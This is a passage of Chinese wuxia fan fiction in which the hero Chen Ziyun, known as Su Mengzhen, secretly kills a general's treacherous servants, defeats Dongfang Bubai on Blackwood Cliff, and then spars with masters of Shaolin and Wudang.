但你说它是刀吧,可这刀实在是太短,总共也不过五六寸的长度,还没有刀柄,在刀的尾巴处缠着的却是一条仿佛透明的金属丝线,牢固异常。 “当真是好宝贝啊。” 陈子云却是开心的像是捡了宝。 不过陈子云倒是开心了,而叶红娘却是焦躁不安的很,原来昨天晚上见了陈子云回来,主仆终究还是没有逃过管家胡叔的眼睛。 所以今天早上醒来,叶红娘就发现自己的房门打不开了,不论自己如何的敲打房门,也没人理会自己。 而丫鬟小兰只是在一边被吓的一个劲的抹眼泪,什么忙都帮不上。 叶红娘发泄了一番,也知道这些奴才是怕自己追究那天翻车的事情,可又暂时不敢对自己直接下毒手,所以就把先把自己软禁了起来。 叶红娘很后悔,为什么不早几天去找陈子云,如今自己门都出不去,光靠陈子云一个人势单力孤,又要如何对付得了那帮奴才。 况且,陈子云对这将军府完全不熟悉,就算是进来也怕一时半会儿都不见得能找到这里。 叶红娘越想就越着急,越急也就越没有主意。只能愤愤然的拍着自己房里的桌子,一副银牙咬得咯咯作响。 到了中午时分,有人来敲了叶红娘房间的门。 “谁?” “夫人,是我。咳咳咳。” “你还来干什么,枉我父亲这么信任你,你就是这么报答他的?” “夫人,老奴所做的一切都是为了老太爷。咳咳咳。” “哈,胡叔,到了这份上了,你还何必在如此作态。” “夫人,如果你还是叶家的小姐,老奴自然以你为尊,但是你已经是许给人家做了人妇,自然就不是叶家的人了,咳咳咳,怎么能还霸占着叶家的家产?” 胡叔说的有些激动,似乎咳嗽的也越来越厉害了。 “胡说八道,我还没出嫁,自然就还是叶家的女儿,而且我当时是招婿入赘,怎么就不能继承叶家的家业?” “夫人,咳咳咳咳,事到如今,说这些又有什么,咳咳咳,意义,咳咳咳咳......” 说到此处,胡叔的剧烈咳嗽似乎已经让他再也说不下去了。 叶红娘此时也察觉出了问题,胡叔的年纪虽然不小,可身体却一直很是硬朗,怎么就突然咳嗽的如此严重了。 “噗......” “啊......” 随着门外人的一声尖叫,一口鲜血直接喷在了叶红娘房间的门上,直接染红了半边的门墙。 随后叶红娘便听到来了许多脚步,外面变得一片乱哄哄的摸样。 不知怎么的,叶红娘此时突然想到了陈子云的摸样,那个看着明明是个十足书生摸样的江湖浪荡子。 “难道他已经来过了,这是他干的?” 等叶红娘的房门被再次打开,已经是傍晚时分了。这时候所有人看向她的眼神似乎都有些惧怕,就像是当初那些说自己是灾星,是克夫命的时候一样的害怕。 “胡管家,他......他死了。” 那车夫颤巍巍的说着,好像眼前还能看到那本来威严十足的老人,在自己面前一边吐血一边咳嗽的痛苦摸样。 那血不管医者怎么折腾都止不住,到胡管家死的时候,基本整个人都小了一圈,医者说,身体里面怕是已经没有多少血了。 车夫很害怕,他本来就不是一个胆子大的人,看到胡管家这种明显不像是正常死亡的场面,他更是怕的两腿发抖。 “死了?” 叶红娘轻轻的呢喃了一句,似乎还有些这位老管家在自己小时候曾关照过自己的影像。 不过这些影像已经模糊的几乎想不起来。 “那就葬了吧,就葬在我父亲的旁边,他本来就是族里的老人,又伺候了父亲这么些年。” 第三十九章 上黑木崖 没了这位胡管家,这里的这些小厮可不敢明着跟叶红娘对抗。这些人说白了就是一群无赖,有胡管家领着,他们能天不怕地不怕,可一旦没了主心骨,这些人自然就被叶红娘拿捏了。 叶红娘此时只以为是陈子云在不知不觉中,对胡叔用了些江湖上的手段。可她万万没想到,陈子云竟然已经把这将军府里所有的男仆都下了暗手。 每天一个,就连时间都基本是在中午爆发,一个一个的都跟胡管家一样,先是咳嗽,然后就开始吐血,最后就是失血过多而亡。 等到了第三个发作的时候,将军府里的人都跑光了,要不是小兰这丫鬟实在没地方可去,估计连她也要跑。 在这个时代,没有事比这样神鬼莫测的事情更吓唬人了。 叶红娘则是心惊,那书生摸样的人竟然藏着一颗如此肆意杀戮的心。 不过现在的叶红娘可没有时间理会陈子云,将军府现在连一个使唤的人都没有,他要借此机会赶紧自己去招人来,还要找那些身份干净的。 这次她不会再犯原来的错误了,不会让所谓的氏族中人有机可乘,她要牢牢的将这些掌握在自己是手中。 谁要是还敢伸手过来,她绝不容情。 而且此时她也不合适去找陈子云,有些人肯定知道将军府出了事情,若是这个时候自己跟一个陌生人往来密切,对他们两个都不是好事。 陈子云此时也没有再去将军府的想法,只是通过陈钰跟陈秋两个人知道了大概的情况,他也就并不怎么上心了。 他现在正把玩着刚得到的那把“相思”,相思就是陈子云给这把刀取的名字。血红色的刀身就像是情人的唇,而链接着刀身的那根金属丝,就像是斩不断的人间情。 要不是春闱在即,陈子云恨不得天天在房间里练刀,可惜入贡院的时间终于还是到了。 一连三天,考的依旧跟乡试的时候没有什么区别,陈子云不由得想到,考完这次他是说什么也不想再写这些东西了。 不过这一次他没有了乡试时候的好运道,明明是认认真真按照常规的文章写的,却是名落孙山了。 陈子云在得到陈钰跟陈秋的报告后,心里不说失落是假的,可要说多难过也算不上,大不了三年之后再来就是。 而且万一遇上开恩科的,说不定明年就可以来了,他这个年纪中举人已经是难得的很了,那些年纪轻轻就能中状元当驸马的,也就是戏文里多些。 而且这一趟上京,自己收获也可以说着实不小了,除了得到的这把相思刀。叶红娘也在陈子云等放榜的几天里让那叫小兰的丫头送来了一打宝钞。 当陈子云点清楚这里足足有一万两的时候,他都想不明白着叶红娘是不是真的这么信任这个小丫头,万一她自己带着钱跑了怎么办。 不过这也就是陈子云的自娱自乐,在如今这个年代里,不说小兰这种卖身的丫头能不能独自出的了城门,就算出去了,一个小丫头在外面也就是别人的鱼肉。 京城事了,陈子云也不想在这个依旧寒冷的北方待了,赶紧回他那向阳巷温暖的被窝里去才是王道。 收拾好马车启程,不过这次跟来时不同,来的时候只是带了些旅行的必备之物,这次从京城回去自然少不得要带一些特产。 不管是吃的还是用的,反正足足把陈秋架的那辆马车赛满了才心满意足的踏上了回程。 可还没出得河北省,陈子云边在一天晚上做了一个梦,这个梦让他兴起了去隔壁黑木崖看看的冲动。 于是陈子云当即行动,吩咐了一句陈钰跟陈秋,让他们自己先按照既定的路线往福州走,他自己出去溜达一圈,再去追赶他们。 没错,陈子云当时就觉得上一趟黑木崖,跟出去溜达一圈没什么两样。 山石殷红如血,一片长滩,水流湍急,这便是有名的猩猩滩。陈子云不过行了半日就来到了黑木崖下。 正当他要自报山门,好让人接着过了这湍流,却发现河道中间正有三艘小船。陈子云也没有耽搁,直接助跑了几步一个纵身,人就已经跃出去五六丈。 又在看好的一个河中凸起的岩石上点了一下脚尖再次跃出了三四丈,人就已经来到了最末尾的一条小船上。 陈子云刚停下身,正想告个罪,却是看到这船上竟然有个熟人。 “令狐冲,你怎么在此?” 此时小船上的几人都已经看呆了,任盈盈更是已经牢牢握住了剑,时刻准备发难,但是她心里实在没底。 刚才这人竟然是从岸上直接跳过来的,这样的轻功她是闻所未闻,见所未见。而任我行跟向问天此时又不在这条船上,自己可没信心对抗这样的高手。 可是当任盈盈看到令狐冲的脸色时却是奇怪的很,因为她从未在这个自己倾慕的奇男子身上看到过害怕,此时却是...... “哦,我想起来了,原来是已经到了这个时候了。” 陈子云知道自己这次来的算是巧了,要是过了今天,他怕是没机会再见东方不败,这位武林第一人了。 令狐冲更是睁大的眼睛,看着这个突然出现的苏梦枕,如果是这世界上还有什么让他害怕的人,也就是他了。 可偏偏在这个关键时候,这个人就找了上来,自己如今扮演的是一个重伤的病患,如果这个时候起来反抗,那不就彻底坏了盈盈他们的大事。 可自己若是不起来,万一这人对盈盈下手,自己又如何是好。令狐冲此时心里的忐忑不安全部写在了脸上,任盈盈看了也以为是他害怕了。 “如此,我却是要先行一步了,告辞。” 陈子云说完便在小船上一踏,直接又向着对岸蹿了出去。 令狐冲不由得心里一松,可随即也是满面通红,自从上次败在苏梦枕手中之后,他未尝没有练好独孤九剑再次挑战苏梦枕的心思,可如今却发现,连对方的出现他都表现的如此窝囊,还提什么比剑。 “东方不败,苏梦枕前来拜山,还不出来相迎。” 陈子云刚过来了河就直接开口一声大吼。 第四十章 战东方 这一声不但把守山的人吓了一个懵,连还在船上的任我行都是目瞪口呆。 要不是他们几人正在隐秘行事不能暴露身份,他必然要大为品评一番这敢来黑木崖挑战东方不败的年轻人。 苏梦枕这位江湖上名传四方的后起之秀,本来就是他在出了牢笼之后想要招揽的人,只是遇见了令狐冲这块宝玉,才没有过于执着。 本来还以为这年轻人被江湖上传的神乎其神,什么刀斩田伯光,一刀压五岳。任我行自然是当这些是江湖流言的夸大之词,尤其是当他见识过左冷禅的功夫之后,自然是更加不信的。 只觉得这苏梦枕再强,也不过是跟自己的准女婿令狐冲在伯仲之间。而今虽然见他轻身功夫出众,可要是凭此就想要挑战黑木崖,挑战东方不败实在是狂妄至极。 陈子云并在乎那三艘小船上的人在怎么想,如今他已经把那些守着山崖通道的人都吸引了过来。 随即也不含糊,直接运转身法,乘着众人还搞不清状况,从一侧绕到了山后,然后就是凭借着手中的利刃与坚固的金属线,在山壁之间肆意的游荡。 “哈哈哈,好山崖,好相思。” 陈子云这次算是体会了一把蜘蛛侠的快乐,让那些昂着头想用暗器弓箭射他的魔教子弟毫无办法。 陈子云先是上了一个在高处的绝崖峭壁,随即往下观望,他还记得东方不败的小院应该就是藏在半山腰里的。 自己从正门进去是不用想了,只得靠着相思来个从天而降。 陈子云找了一圈,在确定视线范围内并没有符合的景观之后,便又荡到了另一个高处的山崖上。 就这般足足找到第五个山峰,才在一出隐蔽至极的角落里,看到一处百花吐艳的存在。 “哈哈,东方不败,苏梦枕来了。” 陈子云等来到了那小院的上方便收了相思,整个人随着惯性自由的落体。 还没等他落到小院中间,一根快到连他都差点看不见的细针朝着他的脚下射来。 “好。” 苏梦枕不由得赞叹一声,因为这还是第一次有人将他轻身功夫的所有落脚地都封住了,何况这人只是靠着一个飞针。 陈子云袖中的相思飞出,叮铃一声,飞针即断,相思收回。 陈子云终于是落地了,惊起了数对白鹤、鸳鸯,在这红梅绿竹,青松翠柏之间乱撺。 “你是谁?” 声音尖锐,嗓子却粗,似是男子,又似女子,不过陈子云并没有什么见怪,这段时间他在京城里,太监也见了不少。 只是这过于浓郁的脂粉香味从那雅舍之中飘荡出来,反而遮盖了这满院子的花香,让他有些不喜。 “苏梦枕。” 陈子云朗声回答道。 “苏梦枕又是谁?” “一个江湖浪荡子,也是一个来见识天人化生、万物滋长境界的武者。” “哦,你也知道这天人化生的美妙?” “也许吧,但我更想知道,这世间到底谁才是天下第一。” 东方不败在雅舍里沉默了片刻。 “天下第一,呵呵呵,这样的名头你要拿去就是了。凭借你这从天而来的轻功,与刚才挡我一针的那一刀,你有这个资格。” “哈哈哈,能得东方教主这番认可,苏某这次算是没白来。不过,这是不是天下第一,终究还是要打过才知道。” “如此......那你便是去死吧。” 陈子云面对这江湖第一人何曾敢真的放下防备,只见随着那死字的余音,一连串飞针射向他的诸多要穴。 陈子云双手齐挥,相思刀在他的两手之间来回跳动,将一根根以各种奇诡角度射来的细针纷纷挑落。 就凭着这一手,陈子云敢肯定,别说现在的令狐冲,就是他当初在思过崖遇上的风清扬也不一定全部接得住。 就因为一个字,快。 要不是陈子云本身也擅长速度,这同时而来的八根针他起码要硬抗下一两根才得脱。 “好功夫,那就更是要死了。” 陈子云只看见一袭粉红从雅舍中飞蹿了出来,两点寒芒夹在东方不败的两手之间。 陈子云右手一抖,相思飞出,随即牵着金线一抖,一套迅雷般的刀招在相思之中飞舞。 “好,再来。” 东方不败用两个细针接下了陈子云所有的刀,可同时那细针也被相思刀砍成了几段。 东方不败对着那不远处的绣花棚架一招,无数的秀丽丝线,就像是一道彩虹般的射了过来。 又经过东方不败的手一挑一按,这彩虹便成了无数条要取陈子云性命的毒蛇。 “好内力。” 陈子云此时也不得不感慨,一个练了十几年《葵花宝典》的人物果然是恐怖,怕是方证和尚的内里也不见得比此时的东方不败深厚。 当然这不是说《易筋经》内功不如《葵花宝典》,而是这两门功夫的诉求不同。一门是博大精深健身长生的佛家修行之功,另一门却存粹是为了江湖搏杀但求速成的功夫。 要是在杀伤力上比,《易筋经》显然是吃亏的,可它又何必去比呢? 陈子云此时也不能站在原地被东方不败当靶子了,凭借着卓越的轻功,左闪右避,配合这手里的相思刀,把他射过来的七彩丝线斩成了满天飞絮。 合着地上那零落的残花,以及陈子云与东方不败在其中不断的交手碰撞,要是被哪位兴趣盎然的诗人看到此时的美景,说不定能又做一首《侠客行》出来。 一招、两招,你来我往。 陈子云第一次见血,是被一条明明断了的丝线给划过了眼角,原来是东方不败在那段丝线里藏了一根断针。 东方不败第一次吃亏,是小看了相思刀的锋利,在陈子云斩断了一个细针之后再他的脖子上一带而过。 两人不过斗了不过一刻钟,却已经都是拼经全力,手段尽出。不说两人气喘如牛,就是头顶上也有了肉眼可见的丝丝白烟。 这不是什么内力高深造成的,而是他们过高的体温蒸发了头顶的汗水,足可见两人的体力消耗。 第四十一章 最后一刀 不过此刻的陈子云却是从所未有的舒畅,自从他学了这红袖刀,本来就想肆意一番江湖,可这江湖上的人却一心思的蝇营狗苟。 这一路打下来,除了老迈的风清扬竟然没有一个能跟他比划几招的,说不失望那是假的。 所以他才会突发奇想的来着黑木崖找东方不败过过招,这江湖里,恐怕也就这位一门心思的躲着练武了。至于其他那些恶心的事,陈子云自然不会去想了。 这一场打下来,果然没有让他失望,《葵花宝典》卓然恐怖,可要是没有东方不败的才情,也不是随便一个人就能练到如此境界的。 就说岳不群与林平之,就算他们都练了《辟邪剑谱》,可结果呢?一个为了夺五岳盟主还要阴谋算计,一个为了报仇也搞的自己双目失明。 如果是东方不败出手,别说什么余沧海、木高峰,就是左冷禅也绝对接不了他十招。 “吸......呼......吸......呼......” 两人都在极力的平复自己的呼吸,他们的身上也都已经挂了不少彩,好在都没有到致命的地步。 就当两人准备再次出手的时候,却听到了有脚步声靠近这里,而且还不是一个。 陈子云跟东方不败同时蹙额。 陈子云是没想到任我行他们来的这般的快,而东方不败则是疑惑这里除了他的莲弟怎么会有别的人进来。 “看来时间快到了,东方教主,我们一招定胜负如何?” 东方不败有些担心不知是什么外人来了,也想赶紧打发了这苏梦枕。 “好。” 东方不败在一颗树上一模,手里就多了一个木条,左手剑指,右手出招。既然林远图能根据残篇创出辟邪,他东方不败又怎么会不懂剑招。 不过是他长年躲在这花园里以绣花度日,才习惯的用着细针对敌,可一旦他再次握住了长剑,那他就是当世绝顶的剑客,哪怕这剑就是一根树枝。 可内功到了他这种层次,草木竹石皆可为剑,就不是说说而已了。 也不用什么剑招,东方不败只是随手一剑刺出,直指陈子云的胸口。 这一剑有多快,这一剑有多妙,只有当真的站在陈子云的角度去看,你才能体会得到。 可面对这样妙到绝巅的一剑,陈子云略微一眯眼,执相思在手,可这次他的手法却不像是一般刀法的起手。 更像是一种暗器投掷的起手,可这刀都放在了敌人的眼前了,又怎么能算是暗器呢? 就在陈子云握住这一把相思刀的时候,就像是同时握住了一种意志,一种精神,一种绝对不会落空的信心。 他此时还不知道这种信心是怎么来的,难道就是因为那梦中男子跟他说的那句“握住,然后让飞刀自己选择。” 陈子云当时觉得这句话很荒谬,飞刀是用来对敌的,既然是对敌,这敌人必然是自己的,而不是飞刀的,怎么能让飞刀自己选择呢? 可他现在却是相信了,他相信此时只要自己放手,这飞刀就能自己找到目标,而且无论如何这人都躲不了。 所以,陈子云松手了。 东方不败看见了那末红光,映衬在霞光里,美的不像话,他自然的倾斜了一点剑招抵挡,他自信能挡下这把飞刀,不管它有多美。 可就当东方不败看着自己的剑撞到那把刀的时候,那把刀好像真的化成了天边的云霞,突然间就消失在了天边。 而当东方不败再次看到那把刀的时候,它却已经插在了自己的胸口。 手上的树枝掉落,东方不败想去触摸一下自己胸口那把不可思议的刀。 陈子云一抖手,相思刀已经回到了他的袖口之中,而此时那些脚步也终于来到了此处。 “苏梦枕,你怎么在这里?” 令狐冲指着陈子云惊讶的问道,随即又看到跌坐在地上的东方不败问道:“她是谁?” “莲弟?你怎么受伤了?” 东方不败看见杨莲亭,简直比自己受伤还心疼。 陈子云见此情形,顿时看不下去了。 “东方不败,这天下第一点名头,苏梦枕便拿走了。” 陈子云也不理会众人惊愕的目光,直接利用相思刀跳出了小院,朝着悬崖下落去。 “你是东方兄弟?” 童百熊语气颤抖的问道。 ........ 陈子云此时其实没有直接下黑木崖,而是找了一块山崖间突出的平地休息,他刚刚跟东方不败大战一场,消耗不小。 而且他最后发出的一刀,不知怎么的让他的脑子也有些发胀的感觉,好像这一刀消耗不单单是力与气,还带着他的一部分精神。 自从那一夜梦里见到了这例无虚发的小李飞刀,这还是他第一次真正的出刀。 也不知道那位探花怎么会找上自己的,他可是连个殿试的机会都没有混上落榜书生,这位一甲前三的探花郎怎么会看得上自己? 要是下次会试,不考个好名头,怕是也太对不起这位教自己的小李飞刀了。 “嘿嘿,例无虚发,好个小李飞刀。” 陈子云直接等到了天黑,才偷摸摸的从山崖上下来,他知道此时的黑木崖必然是提高了戒备,自己不可能在白天的时候这么明目张胆的下去。 好在练了这飞刀之后,他的视力也变的好了许多,这黑夜里也不见得就能让他成了瞎子。 陈子云出了黑木崖,一路往南,朝着预先给陈钰陈秋定好的路线。他也不着急,找集市买了一匹马,一边走一边游玩,终于在靠近南京的地方碰见了两个小子。 陈子云问了一番他们两人在路上的情况,好在他们走的都是管道,没有大胆的强人敢出来行凶,一路上也没碰到什么意外。 等陈子云一行人回到了福州,苏梦枕在黑木崖挑战东方不败的消息也传开了。 可随之而来的,任我行与东方不败同归于尽的消息,却是让陈子云有些错愕。东方不败已经被自己伤成那副模样了,他们几人围攻竟然还不如原来的成就? 陈子云却是想错了,要说武功,东方不败自然是在那几人之上的,而又因为陈子云已经伤了东方不败。 他自知如此状态面对这些敌人怕是难逃一死,索性就秉着共赴黄泉的心思。那作为老对手的任我行,自然就成了东方不败的首选。 第四十二章 上嵩山 本来应该死在令狐冲手上的东方不败,最终也是和任我行讨了个同归于尽。虽然最后在任盈盈的悲愤之下,东方不败和杨莲亭都被碎尸万段了,可任我行却也是落得个身死道消的下场。 后面还是向问天坐上了魔教教主之位,可惜如今的魔教没了天下第一的东方不败,又没有任我行这个老教主撑腰,一下子声势落下去不少。 至于陈子云战胜东方不败的消息,想必也是魔教故意放出来的,为的就是吸引江湖上的注意力。 如今的魔教没有了天下第一坐镇,自然需要有另一个天下第一帮他们吸引注意力。 陈子云对于这样的名声倒是也不怎么在意,可是当后面五岳剑派三月十五在嵩山聚会,打出的口号竟然是要“屠苏”,这就让陈子云忍不了了。 虽然说自己是杀了几个嵩山派的人,可那不是他们咎由自取吗?这些人怎么能这么不识相,竟然敢来招惹自己。 既然如此,自己不上嵩山去问候一下这些名门正派也太对不起他们这般的兴师动众了。 陈子云简单的将春闱的情况跟族中的长辈汇报了一下,他们对于陈子云的落榜到也没怎么苛责,只是说了一些勉励的话。 在族中这些长辈的眼里,陈子云年纪正轻,就算他以后再考十次才高中,也是正常的。 四、五十岁左右的进士才是这个时代的主流,那些个二十几岁三十几岁就中的,才是绝少数的天才人物。 陈子云也带了一些京城的礼物去拜访了李不器、杨弘毅这些同窗,当然是收到了热情的招待。 如此忙活了两天,陈子云就又牵着马再次出门了,这次他什么人也没带,因为他有预感,这一趟上嵩山,估计还是得动手。 不过比起以往,陈子云腰间多了一样东西,一个色泽圆润,塞口还坠着一块小玉坠的酒葫芦。 这葫芦他还是故意去市场里淘换来的,也不知道是不是沾染了那李探花的酒瘾,自从学了那飞刀,嘴巴里总是时不时的觉得少一样东西——酒。 所以啊,这一路上来,他总是时不时的要拿起葫芦抿上一口,也不管这酒是好是坏。 杨弘毅在他出门前送的几瓶佳酿他喝得,随处到了哪个乡野酒肆里打的寡淡酒水他也照样喝。 说来也奇怪,随着他各种各样的酒喝的越多,自己对那有些虚无缥缈的至圣一刀好似就多了一份领悟,难道李探花这飞刀是喝酒喝出来的不成? 他这一路走南昌,过武汉,随后直插嵩山,等他到了嵩山脚下,也不过是三月十二,离三月十五的五岳聚盟大会,还有三日的时间。 想着自己既然到了嵩山,要是不去见见少林寺的风采着实有些可惜了,就将马头一转,往少林寺所在的少室山而去。 到了少林寺山门附近,陈子云就明白为什么这里会被称为千古第一名刹了。寺院坐落在嵩山西麓,盘踞于少室山山林之间,红墙青砖在苍翠古木之间隐约可见,一眼望去竟是看不到边际。 陈子云到了少林寺门前翻身下马,跟知客僧道了一句“苏梦枕来访”,便自顾自的在山门前后赏玩了起来。 少林寺相传始建于北魏孝文帝,传承已近千年,经历了朝代更替,却终究屹立不倒。这里不但是江湖中的常青树,也是佛教文化在华夏的源头。 没等陈子云继续沉迷于对少林寺往昔历史的回忆,两排穿着劲装僧衣的年轻武僧已经提着棍棒从门内鱼贯而出了。 看着这些神情戒备的小光头,陈子云不由得笑了,看来自己的名声果然还是被人给晒成咸鱼了。 “不知苏施主,来我少林寺所谓何事?” 一个满脸皱纹的老和尚对着陈子云行了一礼问道。 “大师可就是少林方丈,方证大师?” 陈子云也回了一礼问道。 “老衲不是方证师兄,老衲法名方生。” 方生道。 “原来是方生大师,苏梦枕不识真佛,还请大师勿怪。” 陈子云对这少林寺自然比一般的江湖门派的要客气不少,因为严格来说少林寺并不能只看做事一个江湖门派。他的关系网络实在太广,就算是当朝高官来了一样要客气着。 “苏施主客气,不知施主此次来鄙寺有何请教?” 方生问道。 “不满大师,此次苏某是为了嵩山五岳会盟而来,却是来早了几日。想到贵派也在这嵩山之上,又有武林之宗,禅宗祖庭之名,想着如果不来见识一番着实可惜。” 陈子云道。 “原来如此,既然苏施主只是来游览少林,那自无不可,老衲愿意亲身相陪。” 方生面露微笑。 他刚才从进来报信的知客僧那里知道,这个刚夺了东方不败天下第一的苏梦枕竟然来了少林寺,也是被吓了一跳。 当即就招呼了一些罗汉堂的武僧出来,也是为了有备无患,万一这人来者不善,却也只能抵死相抗了。 可如今看来,这凶名在外的苏梦枕却是一副书生模样,难怪被称做事夺命书生。 不过只要苏梦枕在少室山上安分守己,那些个江湖恩怨,他也不好过多的追究。 如今对方只是想游览一番少室山的美景,方生自然也乐得做个人情。 “方生大师误会了,这少室山少林寺千年古刹的名头,苏某自然是要好好赏玩一番的。 不过苏某跟大师都算半个江湖中人,既然苏某来了贵地,不好好领教一番少林寺的绝学,岂不是遗憾终身?” 陈子云道。 方生脸色大变,连周围的执棍武僧也不自觉的讲棍棒指向陈子云,那齐齐一挥的风声,吹得苏梦枕的长袍都不住的抖动了一番。 “阿弥陀佛,苏施主,我少林弟子学武不过是为了强身健体,能更好的参禅礼佛,并不是为了争强斗胜之用,还请施主见谅。” “大师放心,只是比武切磋,苏某自然会点到为止。” 陈子云这话说的有些不客气,但也是他此时心态的忠实体现。说实在的,他赢了东方不败之后,就已经没有把其他的江湖人放在眼里了。 这不是骄傲,而是一种自知,自信。 第四十三章 邀战方生 方生摇摇头道:“苏施主,还是让老衲陪你逛逛这少室山的风光吧。” 陈子云见方生怎么都不答应,只得叹了口气。 “哎,那大师,还请恕罪了。” 还未说罢,就直接一掌拍向了方生的胸口,但是这一掌并不快,而且掌风响的惊人。 这不是什么奇妙掌法,而是苏梦枕为了提醒方生,自己要强来的警示而已。 “哈。” 这却是周围的棍僧见陈子云如此不讲道理,齐齐喝了一声,手上的棒子也朝着陈子云点来。 不过他们的动作在陈子云眼里着实慢了些,一个错身不但让过了众僧的围攻,还和方生对了一掌。 “住手。” 方生一声大喝,却是阻止了棍僧继续攻击陈子云,因为刚才那一掌让他知道,这苏梦枕的武功绝对不在自己之下,这些弟子上来,少不得要吃亏。 “苏施主既然如此咄咄逼人,那就恕老衲得罪了。” 方生和尚虽然不愿意无畏的打斗,可见着苏梦枕非要用强,这佛陀也有三分脾气,练武之人,又如何能忍得住。 只见方生,平平无奇的推出一张,慢的好似是在拍苍蝇,可这看在陈子云眼里却是精光一闪,暗叹一声好内功,好掌法。 随即以手做刀,也不跟着老和尚硬拼,朝着他最脆弱的脖颈处一刀斩去。 方生似乎早有预料的,将另一只已经同样慢悠悠的挡在了陈子云落刀的地方。拇指、食指、中指三指连弹,只要陈子云敢继续下刀,说不得就要被弹碎了手掌。 陈子云也不慌张,也没想着变招,嘿嘿一笑,在方生老和尚每次弹指的时候,手刀像是打水漂的石子一般,连绵起伏了三次。 这三次的起复,刚刚跟那三道霸道的指力,相差在分毫之间。仿佛就像是一起排演了不知道多少次似的,明明看着都已经相撞,就是差了那么一毫。 陈子云游鱼一般的手,让过了方生的弹指,直戳方生的颈动脉而去,这一下要是砍实了,不管是真刀还是手刀,方生怕是都不得好了。 而此时方生那一掌还未能收回,刚才发出三指的那手掌也是旧力已尽,新力为生,眼看着就要被陈子云一招命中。 可就在陈子云以为必得的时候,指头上突然传来一阵疼痛,惊的他连忙收手。 陈子云后退了半步,看着面前这颗硬的出奇的老光头,不由得赞叹道:“好一个铁头功。” 可要是这么就要让陈子云收手,是万万办不到的,撤掌回刀,又再次合掌出刀。 这一刀比刚才更快也更刁钻,不过目标依旧是同一个,还是那颗大光头下的脖颈动脉。 方生把头一转,直接撞向陈子云的这一击手刀,想用自己练了几十年的铁头功硬撼这一刀。 要是苏梦枕此刻拿的是真刀,方生自然不会这般犯蠢,就算他的铁头功练上个一百年也不会真的能扛得住宝刀锋利,可谁叫苏梦枕出的是手刀呢。 陈子云自然也看出了方生想占他便宜,可他也不见怪,总不能真的往这老光头上砍一刀吧。到时候,他怕是要被这底蕴不知有多深的千年宗派给满世界追杀,划不来啊。 不过他依仗的可不止是刀法,只见陈子云一个转身就绕过了方生的那一撞,随即来到了他的侧面,同时一刀斩下。 方生听着风声也料到是这苏梦枕运转起了身法,随即双手伸展,招招掌法齐出,护住自己的周身要害。 可随即方生就觉得自己的左侧脖颈一通,脑子也一下子变的昏聩,脚下更是踉跄了一步,整个人差点就直接跪倒。 好在方生内功深厚,几十年练出来的下盘也是稳如石盘,终究是被他站稳了。 可当他再看清楚陈子云时,却发现对方已经束手站在远处了,此时方生才知道,原来比试已经结束,是他输了。 “阿弥陀佛。” 方生念了几句佛号,压下心里升腾起的胜负之欲。 “苏施主,神功奇技,老衲佩服。” “方生大师的少林功夫,也是出神入化,苏某也是仰望的。” 陈子云见方生能这么快的就抹平自己的争胜之念,如此心性心里也确实佩服了几分。 “苏施主好奇的刀法,好俊的身法,这天下第一的名头,施主可算得是实至名归。” 只见一个身材矮小的老僧,容颜瘦削,神色慈和,旁边还跟着一个有些邋遢的老道士。 “想必两位就是少林寺的方丈方证大师,与武当派的掌门冲虚道长了,苏某拜见两位前辈高人。” 陈子云微微下拜道。 “苏少侠,武功超群,更是胜了那黑木崖上的东方不败,老道我不过是活了一把年纪,抡起功夫了可比不得苏少侠。” 冲虚道长谦虚的说道。 “道长自谦了,这天下间江湖里,谁人不知武当太极拳,太极剑名烁古今。” 陈子云道,他竟然在这里碰上了武当掌门,自然不会放过见识这两门绝学的机会。 “苏少侠客气,师门传承老道自然不敢自晦,只是老道天资愚钝,实在是怕辱没了祖师的名头。” 可冲虚明显是不想跟陈子云交手,到了他这把年纪,却是也过了争强好胜的时候,而且武当也是道家一脉,本来就是讲的清净无为。 “嘿嘿,真是奇了怪了,今天碰到的高手怎么都不肯出手呢。” 陈子云也是自嘲一笑,他此时也意识到,肯定是这天下第一的名头拖累的。 要是对于那些急于求名的,想必对于挑战天下第一还有些野望,可对于这些早就成名的,尤其还是一派之主。 与他这个天下第一交手,不管胜败却是讨不得丝毫的好处。胜了就要抗下天意第一的名头,到时候挑战者肯定不计其数,就连自己身后的门派都会被连累。 败了,就是在用自己门派的名望给陈子云在做垫脚石,让他在这天下第一的宝座上越来越稳当。 不过此时的陈子云可已经管不了冲虚愿意不愿意了。 “道长,您就不必自谦了,就算今天我们无法交手,苏某也会去武当山上走一趟的。” 陈子云这话已经有了威胁的意思。 “哎,看来老道今天是躲不过了,还请方证大师见谅,却是要在贵山门动手了。” 冲虚对着方证做了一个道稽。 “这到是无妨,还请两位只是武学切磋,点到为止,万万不可伤人。” 方证回应一声。 见自己方丈都应允了,众棍僧也就退开了包围圈,留下足够的空间给二人过招。 第四十四章 武当太极剑 只见冲虚来到场地中间,先是对苏梦枕行了个礼,然后身子缓缓右转,左手持剑向上提起,剑身横于胸前,左右双掌掌心相对,如抱圆球。 陈子云看的仔细,自然知道这就是大名鼎鼎的太极剑法的起手式了,当下也不在藏着,把相思从袖口中稍稍的露出了一点。 “苏少侠,老道得罪了。” 冲虚刚才也见过了陈子云与方生的过招,自然不会在这位天下第一人面前托大,首先进招。 可他的招法着实有些古怪,只见冲虚在身前画了两个圈,这完全不是像先出手人的进攻,反而像是在被动的防守。 可就在陈子云仔细琢磨这奇怪的招法,想一窥太极剑的奥秘之时。冲虚道长突然平刺,剑尖急颤,看不出攻向何处。 陈子云却是感觉到,自己周身似乎都已经被这颤动的剑尖锁定,不论他守哪一处,必然会被攻击到另一处。 好个太极剑。 既然躲不过,守不了,那就不如不守。陈子云右手一抬,袖中的相思一闪而出。只听得叮叮叮三声,却是瞬息之间与冲虚的剑尖连续撞了三次。 陈子云见自己已经挡下了这一招,自然不会方过反击的机会,正待持刀上前。冲虚道长却是比他还快,在刚才的碰撞之后,他已经收回了长剑,依旧如刚才一般,不停的在胸前画圈。 而且此时的冲虚,不单单是手上的剑在画圈,连他整个人都在不停的转动画圈。 随着阳光洒在剑身上反出的光,似乎也被冲虚道长笼罩在了这些圈子里,这连光都能框住的剑招,人又怎么攻的进去。 陈子云看着这一个个晃眼的光圈,只觉似有千百柄长剑护住了他全身,就像是一座剑锋所组成的堡垒。 陈子云暗想难道冲虚道长就想用这滴水不漏的守招一直拖着? 可随即他就见到那剑锋堡垒突然就从中涌出了如海浪般汹涌而来的剑光,千百个光圈一同涌来,这是冲虚将数十招本来的守势一瞬间化为了攻势剑招。 “好。” 陈子云从来未见过这般神奇的剑法,当下也是见猎心喜,不由得大声赞道。 